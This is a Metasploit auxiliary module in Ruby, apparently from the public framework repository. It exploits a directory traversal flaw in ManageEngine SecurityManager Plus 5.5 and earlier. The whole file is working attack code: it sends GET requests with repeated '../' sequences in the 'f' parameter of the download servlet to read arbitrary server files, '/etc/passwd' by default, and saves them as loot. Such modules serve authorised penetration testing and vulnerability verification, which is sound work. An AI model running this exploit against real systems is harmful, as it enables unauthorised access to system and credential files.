91 lines
2.6 KiB
Ruby
91 lines
2.6 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'ManageEngine SecurityManager Plus 5.5 Directory Traversal',
|
|
'Description' => %q{
|
|
This module exploits a directory traversal flaw found in ManageEngine
|
|
SecurityManager Plus 5.5 or less. When handling a file download request,
|
|
the DownloadServlet class fails to properly check the 'f' parameter, which
|
|
can be abused to read any file outside the virtual directory.
|
|
},
|
|
'References' =>
|
|
[
|
|
['OSVDB', '86563'],
|
|
['EDB', '22092']
|
|
],
|
|
'Author' =>
|
|
[
|
|
'blkhtc0rp', #Original
|
|
'sinn3r'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'DisclosureDate' => "Oct 19 2012"
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptPort.new('RPORT', [true, 'The target port', 6262]),
|
|
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
|
|
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
|
|
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def run_host(ip)
|
|
base = normalize_uri(target_uri.path)
|
|
base << '/' if base[-1,1] != '/'
|
|
|
|
peer = "#{ip}:#{rport}"
|
|
fname = datastore['FILE']
|
|
|
|
print_status("#{peer} - Reading '#{datastore['FILE']}'")
|
|
traverse = "../" * datastore['DEPTH']
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => "#{base}store",
|
|
'vars_get' => {
|
|
'f' => "#{traverse}#{datastore['FILE']}"
|
|
}
|
|
})
|
|
|
|
|
|
if res and res.code == 500 and res.body =~ /Error report/
|
|
print_error("#{peer} - Cannot obtain '#{fname}', here are some possible reasons:")
|
|
print_error("\t1. File does not exist.")
|
|
print_error("\t2. The server does not have any patches deployed.")
|
|
print_error("\t3. Your 'DEPTH' option isn't deep enough.")
|
|
print_error("\t4. Some kind of permission issues.")
|
|
|
|
elsif res and res.code == 200
|
|
data = res.body
|
|
p = store_loot(
|
|
'manageengine.securitymanager',
|
|
'application/octet-stream',
|
|
ip,
|
|
data,
|
|
fname
|
|
)
|
|
|
|
vprint_line(data)
|
|
print_good("#{peer} - #{fname} stored as '#{p}'")
|
|
|
|
else
|
|
print_error("#{peer} - Fail to obtain file for some unknown reason")
|
|
end
|
|
end
|
|
|
|
end
|